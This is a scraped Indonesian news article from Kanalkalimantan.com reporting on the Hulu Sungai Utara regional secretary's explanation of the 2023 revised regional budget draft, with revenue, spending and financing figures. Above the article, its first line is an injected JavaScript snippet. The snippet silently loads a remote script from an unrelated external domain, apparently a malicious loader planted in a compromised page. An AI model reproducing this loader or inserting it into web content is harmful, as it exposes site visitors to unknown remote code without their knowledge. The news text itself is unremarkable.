(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Sekda HSU Sampaikan Raperda APBD Perubahan, Berikut Rinciannya

KANALKALIMANTAN.COM, AMUNTAI – Sekertaris daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut proyeksi kenaikan pada pendapatan daerah mencapai 27 persen.

Kenaikan disebabkan oleh bertambahnya pendapatan transfer dari pemerintah pusat sekitar 35 persen.

Hal itu disampaikannya dalam rapat paripurna DPRD HSU dengan agenda penjelasan kepala daerah mengenai Rancangan Peraturan Daerah (Raperda) tentang Perubahan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2023, Senin (28/8/2023).

“Untuk proyeksi kenaikan pada belanja daerah, yakni mencapai 43 persen.

Bertambahnya disebabkan, belanja operasi sekitar 32 persen, belanja modal bertambah sekitar 235 persen, dan belanja tidak terduga bertambah sekitar 50 persen,” jelas Adi Lesmana.

Sekda HSU menjelaskan bahwa sebagaimana naskah Raperda APBD perubahan tahun anggaran 2023 yang telah disampaikan, semula pendapatan daerah sebesar Rp1,059 triliun, pendapatan daerah diproyeksikan bertambah sebesar Rp289,41 miliar, sehingga dalam perubahan APBD ini pendapatan daerah berjumlah Rp1,348 triliun.

Sedangkan belanja daerah diproyeksikan mengalami kenaikan, semula Rp1,115 triliun bertambah sebesar Rp478, 50 miliar.

Sehingga dalam perubahan APBD ini belanja daerah menjadi Rp 1, 593 triliun.

Begitu juga dengan pembiayaan daerah, dalam rancangan perubahan APBD ini, diproyeksikan mengalami kenaikan dengan rincian penerimaan yang semula Rp 158, 898 miliar lebih. Pembiayaan bertambah sebesar Rp194,68 miliar, sehingga berjumlah menjadi Rp352, 967 miliar.

Pengeluaran pembiayaan yang semula Rp102,749 miliar bertambah sebesar Rp 5,58 miliar sehingga berjumlah Rp 107,808 miliar. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie